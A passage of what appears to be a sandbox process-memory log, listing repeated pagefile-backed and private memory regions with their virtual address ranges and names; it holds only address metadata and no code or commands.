0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8875 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8876 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8877 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8878 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8879 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8880 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8881 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8882 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8883 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8884 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8885 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8886 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8887 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8888 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8889 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8890 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8891 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8892 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8893 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8894 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8895 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8896 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8897 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8898 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8899 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8900 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8901 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8902 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8903 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8904 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8905 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8906 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8907 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8908 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8909 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8910 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8911 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8912 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8913 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8914 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8915 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8916 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 8917 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8918 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8919 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8920 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8921 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8922 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8923 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8924 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8925 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8926 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8927 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8928 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8929 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8930 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8931 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8932 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8933 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8934 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8935 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8936 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8937 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8938 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8939 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8940 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8941 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8942 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8943 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8944 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8945 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8946 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8947 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8948 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8949 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8950 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8951 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8952 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8953 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8954 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8955 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8956 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8957 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8958 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8959 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8960 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8961 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8962 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8963 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8964 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8965 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8966 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8967 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8968 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8969 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8970 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8971 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8972 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8973 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8974 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8975 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8976 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8977 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8978 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 8979 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 8980 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8981 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8982 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8983 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8984 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8985 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8986 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8987 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8988 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8989 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8990 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8991 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8992 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8993 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8994 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8995 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8996 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8997 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8998 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 8999 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9000 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9001 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9002 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9003 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9004 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9005 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9006 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9007 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9008 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9009 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9010 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9011 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9012 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9013 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9014 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9015 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9016 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9017 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9018 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9019 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9020 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9021 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9022 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9023 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9024 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9025 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9026 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9027 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9028 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9029 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9030 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9031 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9032 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9033 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9034 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9035 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9036 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9037 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9038 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9039 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9040 start_va = 0x2d80000 end_va = 0x2d8ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 9041 start_va = 0x3ee0000 end_va = 0x3ee8fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 9042 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9043 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9044 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9045 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9046 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9047 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9048 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9049 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9050 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9051 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9052 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9053 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9054 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9055 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9056 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9057 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9058 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9059 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9060 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9061 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9062 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9063 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9064 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9065 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9066 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9067 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9068 start_va = 0x2d80000 end_va = 0x2d88fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002d80000" filename = "" Region: id = 9069 start_va = 